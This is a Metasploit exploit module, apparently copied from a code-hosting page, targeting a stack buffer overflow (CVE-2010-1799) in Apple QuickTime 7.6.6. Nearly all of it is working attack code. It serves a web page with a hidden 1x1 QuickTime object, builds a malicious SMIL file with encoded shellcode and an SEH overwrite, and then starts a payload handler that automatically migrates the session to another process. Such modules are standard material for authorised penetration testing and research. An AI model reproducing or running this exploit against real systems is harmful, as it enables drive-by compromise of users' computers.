Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking # needs more testing/targets to be Great78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::Seh1011#include Msf::Exploit::Remote::BrowserAutopwn12#autopwn_info({13# :os_name => OperatingSystems::Match::WINDOWS,14# :javascript => true,15# :rank => NormalRanking, # reliable memory corruption16# :vuln_test => nil,17#})1819def initialize(info = {})20super(update_info(info,21'Name' => 'Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow',22'Description' => %q{23This module exploits a buffer overflow in Apple QuickTime247.6.6. When processing a malformed SMIL uri, a stack-based buffer25overflow can occur when logging an error message.26},27'Author' =>28[29'Krystian Kloskowski', # original discovery30'jduck' # Metasploit module31],32'License' => MSF_LICENSE,33'References' =>34[35[ 'CVE', '2010-1799' ],36[ 'OSVDB', '66636'],37[ 'BID', '41962' ],38[ 'URL', 'http://web.archive.org/web/20100729143247/http://secunia.com:80/advisories/40729' ],39[ 'URL', 'http://support.apple.com/kb/HT4290' ]40],41'DefaultOptions' =>42{43'EXITFUNC' => 'process',44'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',45},46'Payload' =>47{48'Space' => 640, # 716 - 63 - 8 - 549'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",50},51'Platform' => 'win',52'Targets' =>53[54#[ 'Automatic', { } ],55[ 'Apple QuickTime Player 7.6.6',56{57'Ret' => 0x66801042 # p/p/r from QuickTime.qts (v7.66.71.0)58}59],60],61'Privileged' => false,62'DisclosureDate' => '2010-08-12',63'DefaultTarget' => 0))64end6566def on_request_uri(client, request)6768return if ((p = regenerate_payload(client)) == nil)6970if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.smil$/)71print_status("Sending exploit SMIL (target: #{target.name})")7273# This is all basically filler on the browser target because we can't74# expect the SEH to be in a reliable place across multiple browsers.75# Heap spray ftw.7677off = 71678start = "cHTTPDhlr_SetURL - url doesn't start with http:// or http1:// '"7980scheme = rand_text_alphanumeric(5)8182sploit = ''83sploit << scheme84sploit << "://"8586# payload87sploit << p.encoded8889# pad to SEH90sploit << rand_text_english(off - sploit.length - start.length)9192# seh frame93sploit << generate_seh_record(target.ret)9495# jmp back to payload96distance = off + 8 - (8 + start.length)97sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string9899# force exception while writing100sploit << rand_text(1024) * 15101102smil = %Q|<smil xmlns="http://www.w3.org/2001/SMIL20/Language">103<body>104<img src="#{sploit}" />105</body>106</smil>107|108send_response(client, smil, { 'Content-Type' => "application/smil" })109110else111print_status("Sending initial HTML")112113shellcode = Rex::Text.to_unescape(p.encoded)114url = ((datastore['SSL']) ? "https://" : "http://")115url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])116url << ":" + datastore['SRVPORT'].to_s117url << get_resource118119fname = rand_text_alphanumeric(4)120121content = "<html><body>"122content << <<-ENDEMBED123<OBJECT124CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"125WIDTH="1"126HEIGHT="1"127CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">128<PARAM name="SRC" VALUE = "#{url}/#{fname}.smil">129<PARAM name="QTSRC" VALUE = "#{url}/#{fname}.smil">130<PARAM name="AUTOPLAY" VALUE = "true" >131<PARAM name="TYPE" VALUE = "video/quicktime" >132<PARAM name="TARGET" VALUE = "myself" >133<EMBED134SRC = "#{url}/#{fname}.qtl"135QTSRC = "#{url}/#{fname}.qtl"136TARGET = "myself"137WIDTH = "1"138HEIGHT = "1"139AUTOPLAY = "true"140PLUGIN = "quicktimeplugin"141TYPE = "video/quicktime"142CACHE = "false"143PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >144</EMBED>145</OBJECT>146ENDEMBED147content << "</body></html>"148149send_response(client, content, { 'Content-Type' => "text/html" })150end151152# Handle the payload153handler(client)154end155end156157158